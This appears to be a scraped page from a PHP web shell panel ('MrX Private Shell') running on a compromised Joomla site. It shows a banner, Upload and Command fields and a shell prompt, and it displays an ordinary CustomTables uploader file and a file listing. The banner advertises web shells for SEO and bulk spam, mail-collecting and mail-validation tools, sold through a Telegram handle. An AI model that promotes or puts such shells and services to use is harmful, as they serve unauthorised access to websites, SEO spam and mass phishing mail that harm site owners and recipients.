__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php
/**
 * CustomTables Joomla! 3.x/4.x/5.x Component
 * @package Custom Tables
 * @author Ivan Komlev <[email protected]>
 * @link https://joomlaboat.com
 * @copyright (C) 2018-2024. Ivan Komlev
 * @license GNU/GPL Version 2 or later - https://www.gnu.org/licenses/gpl-2.0.html
 **/

// no direct access
defined('_JEXEC') or die();

use CustomTables\common;
use Joomla\CMS\MVC\View\HtmlView;

// Import Joomla! libraries
jimport('joomla.application.component.view');

class CustomTablesViewFileUploader extends HtmlView
{
	function display($tpl = null)
	{
		require_once(CUSTOMTABLES_LIBRARIES_PATH . DIRECTORY_SEPARATOR . 'uploader.php');

		if (ob_get_contents()) ob_end_clean();

		$fieldname = common::inputGetCmd('fieldname', '');
		$fileid = common::inputGetCmd($fieldname . '_fileid', '');

		$task = common::inputGetCmd('op', '');

		if ($task == 'delete') {
			$file = str_replace('/', '', common::inputPostString('name', '', 'create-edit-record'));
			$file = str_replace('..', '', $file);
			$file = str_replace('index.', '', $file);

			$output_dir = JPATH_SITE . DIRECTORY_SEPARATOR . 'tmp' . DIRECTORY_SEPARATOR;

			if ($file != '' and file_exists($output_dir . $file)) {
				unlink($output_dir . $file);
				echo common::ctJsonEncode(['status' => 'Deleted']);
			} else
				echo common::ctJsonEncode(['error' => 'File not found. Code: FU-1']);
		} else
			echo ESFileUploader::uploadFile($fileid);

		die; //to stop rendering template and staff
	}
}

Filemanager

Name Type Size Permission Actions
index.html File 43 B 0664
view.html.php File 1.49 KB 0664
Filemanager